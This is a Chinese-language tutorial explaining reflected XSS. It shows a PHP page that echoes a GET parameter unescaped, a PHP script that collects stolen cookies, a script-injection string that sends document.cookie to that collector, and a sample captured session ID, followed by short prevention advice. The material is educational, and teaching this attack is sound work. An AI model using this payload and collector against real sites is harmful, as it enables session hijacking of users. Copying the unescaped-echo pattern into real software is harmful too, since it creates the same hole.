1. 程式人生 > >XSS跨站指令碼攻擊過程的講解

XSS跨站指令碼攻擊過程的講解

跨站指令碼攻擊(也稱為XSS)指利用網站漏洞從使用者那裡惡意盜取資訊。以下為能夠演示器原理的完整樣例:

1.角色分配

有XSS漏洞的網站
受害訪問者。也就是瀏覽器
黑客的資料接受網站

2.原始碼例項

2.1漏洞網站

<?php
session_start();
?>
<!doctype html>
<html>
    <head>
        <title>XSS</title>
    </head>
    <body>
        <form>
             <input type="text"
name="address" value="<?php echo $_GET['address'];?>"/> <input type="submit" value="submit" /> </form> </body> </html>

該網頁把使用者通過GET傳送過來的表單資料,未經過處理直接寫入返回的html流,這就是XSS漏洞所在

2.2黑客接受網站

<?php
$victim = 'XSS得到的 cookie:'.$_SERVER['REMOTE_ADDR'].':'
.$_GET['cookie']; fill_put_contents('xss_victim.txt',$victim); ?>

把受害使用者的IP地址和訪問漏洞網站時使用的cookie,一起寫入xss_victim.txt檔案儲存備用

2.3使用者正常訪問

使用者使用瀏覽器訪問網站。現在的網站一般都採用session+cookie來儲存使用者登入資訊的。網站通過驗證cookie來確實是否是合法已登入使用者,所以cookie是敏感資料.

3.攻擊過程

3.1黑客準備攻擊字串,構造攻擊URL

黑客可以通過各種掃描工具或者人工輸入來找到有XSS漏洞的網站URL,然後精心構造攻擊字串。對於本例來說構造出來的字串為:

"/><script>window.open("http://localhost/xss_hacker.php?cookie="+document.cookie);</script><!--

此時,使用者訪問漏洞網站的html程式碼,被修改成了這樣:

<!doctype html>
<html>
    <head>
        <title>XSS</title>
    </head>
    <body>
        <form>
             <input type="text" name="address" value=""/><script>window.open("http://localhost/xss_hacker.php?cookie="+document.cookie);</script><!--"/>
             <input type="submit" value="submit" />
        </form>
    </body>
</html>

明顯看出,這個html回去執行一個指令碼,這個指令碼的功能是把使用者的cookie傳送到黑客的接受網站。
最終生成的攻擊URL為:

3.2使用者敏感資料被髮送到黑客接受網站

受害使用者訪問攻擊URL後,其敏感資料自動傳送到黑客的接收網站。接收網站把這些敏感資訊儲存到檔案 中,當然現實的情況一定是存入資料庫中了。xss_victim.txt中現在儲存了受害者的敏感資料。
XXS得到的 cookie:172.16.35.220:PHPSESSID=4duu55hgci1leee4os6101cl30

3.3黑客利用敏感資料做壞事

有了受害使用者的敏感資料,就可以利用這些資料做各種壞事了,比如以受害使用者的身份登入漏洞網站,等等

4.XSS的預防

XSS的預防可以從多方面著手:

1. 瀏覽器自身就可以識別簡單的XSS攻擊字串,從而阻止簡單的XSS攻擊;
2. 從根本上說,解決辦法是消除網站的XSS漏洞,這就需要網站開發者運用轉義安全符等手段,始終把安全 放在心上;